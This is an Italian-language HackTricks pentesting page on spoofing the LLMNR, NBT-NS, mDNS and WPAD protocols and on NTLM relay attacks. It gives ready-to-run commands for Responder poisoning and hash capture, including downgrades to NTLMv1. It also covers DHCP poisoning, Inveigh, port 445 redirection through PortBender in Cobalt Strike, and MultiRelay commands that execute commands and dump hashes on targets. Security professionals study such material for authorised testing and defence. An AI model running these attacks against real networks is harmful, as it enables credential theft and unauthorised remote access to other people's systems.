hacktricks/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
2024-02-10 13:03:23 +00:00

9.8 KiB

Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Protocolli di rete

Protocolli di risoluzione host locale

  • LLMNR, NBT-NS e mDNS:
  • Microsoft e altri sistemi operativi utilizzano LLMNR e NBT-NS per la risoluzione dei nomi locali quando DNS fallisce. Allo stesso modo, i sistemi Apple e Linux utilizzano mDNS.
  • Questi protocolli sono suscettibili di intercettazione e spoofing a causa della loro natura di trasmissione non autenticata tramite UDP.
  • Responder può essere utilizzato per impersonare servizi inviando risposte contraffatte agli host che interrogano questi protocolli.
  • Ulteriori informazioni sull'impersonificazione dei servizi utilizzando Responder possono essere trovate qui.

Web Proxy Auto-Discovery Protocol (WPAD)

  • WPAD consente ai browser di scoprire automaticamente le impostazioni del proxy.
  • La scoperta avviene tramite DHCP, DNS o fallback a LLMNR e NBT-NS se DNS fallisce.
  • Responder può automatizzare gli attacchi WPAD, indirizzando i client verso server WPAD maligni.

Responder per l'avvelenamento del protocollo

  • Responder è uno strumento utilizzato per avvelenare le query LLMNR, NBT-NS e mDNS, rispondendo selettivamente in base ai tipi di query, principalmente mirando ai servizi SMB.
  • Viene preinstallato in Kali Linux, configurabile in /etc/responder/Responder.conf.
  • Responder visualizza gli hash catturati sullo schermo e li salva nella directory /usr/share/responder/logs.
  • Supporta sia IPv4 che IPv6.
  • La versione di Windows di Responder è disponibile qui.

Esecuzione di Responder

  • Per eseguire Responder con le impostazioni predefinite: responder -I <Interfaccia>
  • Per una scansione più aggressiva (con possibili effetti collaterali): responder -I <Interfaccia> -P -r -v
  • Tecniche per catturare le sfide/risposte NTLMv1 per una crack più facile: responder -I <Interfaccia> --lm --disable-ess
  • L'impersonificazione di WPAD può essere attivata con: responder -I <Interfaccia> --wpad
  • Le richieste NetBIOS possono essere risolte all'IP dell'attaccante e può essere configurato un proxy di autenticazione: responder.py -I <interfaccia> -Pv

Avvelenamento DHCP con Responder

  • L'invio di risposte DHCP contraffatte può avvelenare permanentemente le informazioni di routing di una vittima, offrendo un'alternativa più stealth all'avvelenamento ARP.
  • Richiede una conoscenza precisa della configurazione della rete di destinazione.
  • Esecuzione dell'attacco: ./Responder.py -I eth0 -Pdv
  • Questo metodo può catturare in modo efficace gli hash NTLMv1/2, ma richiede una gestione attenta per evitare interruzioni di rete.

Cattura delle credenziali con Responder

  • Responder impersonerà i servizi utilizzando i protocolli sopra citati, catturando le credenziali (di solito NTLMv2 Challenge/Response) quando un utente tenta di autenticarsi contro i servizi contraffatti.
  • Possono essere effettuati tentativi di downgrade a NetNTLMv1 o di disabilitare ESS per una crack più facile delle credenziali.

È fondamentale notare che l'utilizzo di queste tecniche dovrebbe essere fatto in modo legale ed etico, garantendo l'autorizzazione corretta e evitando interruzioni o accessi non autorizzati.

Inveigh

Inveigh è uno strumento per penetration tester e red teamer, progettato per sistemi Windows. Offre funzionalità simili a Responder, eseguendo attacchi di spoofing e man-in-the-middle. Lo strumento è evoluto da uno script PowerShell a un binario C#, con Inveigh e InveighZero come versioni principali. I parametri e le istruzioni dettagliate possono essere trovati nel wiki.

Inveigh può essere utilizzato tramite PowerShell:

Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y

O eseguito come un binario C#:

Inveigh.exe

Attacco di reindirizzamento NTLM

Questo attacco sfrutta le sessioni di autenticazione SMB per accedere a una macchina di destinazione, concedendo una shell di sistema se ha successo. I prerequisiti chiave includono:

  • L'utente che si autentica deve avere accesso di amministratore locale sull'host di reindirizzamento.
  • La firma SMB dovrebbe essere disabilitata.

Inoltro e tunneling della porta 445

Nei casi in cui l'introduzione diretta nella rete non è fattibile, il traffico sulla porta 445 deve essere inoltrato e tunnelizzato. Strumenti come PortBender aiutano a reindirizzare il traffico della porta 445 su un'altra porta, il che è essenziale quando è disponibile l'accesso di amministratore locale per il caricamento del driver.

Configurazione e utilizzo di PortBender in Cobalt Strike:

Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)

beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080

# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop

Altri strumenti per l'attacco di NTLM Relay

  • Metasploit: Configurato con dettagli di host locali e remoti.
  • smbrelayx: Uno script Python per il relay delle sessioni SMB ed eseguire comandi o distribuire backdoor.
  • MultiRelay: Uno strumento della suite Responder per il relay di utenti specifici o di tutti gli utenti, eseguire comandi o estrarre hash.

Ogni strumento può essere configurato per operare attraverso un proxy SOCKS se necessario, consentendo attacchi anche con accesso di rete indiretto.

Funzionamento di MultiRelay

MultiRelay viene eseguito dalla directory /usr/share/responder/tools, prendendo di mira indirizzi IP o utenti specifici.

python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes

# Proxychains for routing traffic

Questi strumenti e tecniche costituiscono un set completo per condurre attacchi di relay NTLM in diversi ambienti di rete.

Forzare l'autenticazione NTLM

In Windows potresti essere in grado di forzare alcuni account privilegiati ad autenticarsi su macchine arbitrarie. Leggi la seguente pagina per saperne di più:

{% content-ref url="../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md" %} printers-spooler-service-abuse.md {% endcontent-ref %}

Riferimenti

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks: